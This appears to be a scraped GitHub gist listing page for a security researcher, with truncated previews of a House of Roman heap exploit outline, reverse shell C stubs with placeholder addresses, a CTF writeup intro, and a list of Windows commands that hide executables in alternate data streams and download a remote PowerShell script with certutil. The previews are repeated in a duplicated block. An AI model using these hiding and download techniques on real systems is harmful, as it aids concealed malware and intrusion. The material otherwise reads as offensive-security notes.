0xabe-io

## House_of_Roman.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                0xabe-io
                / House_of_Roman.md
            
            
              Created
              June 22, 2018 22:34
                — forked from romanking98/House_of_Roman.md
            
          
    Table of Contents


Disclamair
House Of Roman

------> 2.1 Assumptions

------> 2.2 Protections

------> 2.3 Quick Walkthrough

------> 2.4 Setting the FD to malloc_hook

------> 2.5 Fixing the 0x71 freelist

------> 2.6 Unsorted Bin attack on malloc_hook


## spin-vm.sh
#!/bin/bash

# quick and dirty script to spin a ubuntu VM based on a cloud image

NAME=''
DISK_SIZE=''
RAM='1024'
CPU='1'
LOCATION='TBD'
QEMU_IMG='/usr/bin/qemu-img'

## Exe_ADS_Methods.txt
#Add content to ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey

## sepsplit.c
/*
 *  SEP firmware split tool
 *
 *  Copyright (c) 2017 xerub
 */

#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>

## reverse_sctp_shell.c
// server: ncat -v --sctp -l PORT_NUM
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>

## babyecho.rst

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                0xabe-io
                / babyecho.rst
            
            
              Last active
              August 29, 2015 14:21
            
              
                writeup of the babyecho challenge during the Defcon 2015 qualifications
              
          
    Defcon Qualifications 2015 - babyecho

babyecho is an ELF 32bit statically linked binary that reads 13 bytes at time and outputs it back:
$ ./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d 
Reading 13 bytes (stdout)
123456789012345678901234567890 (stdin)

  
## firefox_config
about:config -> media.peerconnection.enabled

## gist:089cdab5852b7bd3ef93
docker rmi $(docker images -qf "dangling=true")

## flv2mp4.sh
ffmpeg -i "$fin" -c copy -copyts "${fin%.*}.mp4"

## reverse_shell.c
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX
	#!/bin/bash

	# quick and dirty script to spin a ubuntu VM based on a cloud image

	NAME=''
	DISK_SIZE=''
	RAM='1024'
	CPU='1'
	LOCATION='TBD'
	QEMU_IMG='/usr/bin/qemu-img'
	#Add content to ADS
	type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
	extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
	findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
	certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
	makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
	print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
	reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
	regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
	/*
	* SEP firmware split tool
	*
	* Copyright (c) 2017 xerub
	*/

	#include <fcntl.h>
	#include <stddef.h>
	#include <stdio.h>
	#include <stdlib.h>
	// server: ncat -v --sctp -l PORT_NUM
	#include <stdio.h>
	#include <unistd.h>
	#include <netinet/in.h>
	#include <netinet/sctp.h>
	#include <sys/types.h>
	#include <sys/socket.h>
	#include <arpa/inet.h>
	#include <string.h>
	/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
	#include <stdio.h>
	#include <unistd.h>
	#include <netinet/in.h>
	#include <sys/types.h>
	#include <sys/socket.h>

	#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
	#define REMOTE_PORT XXX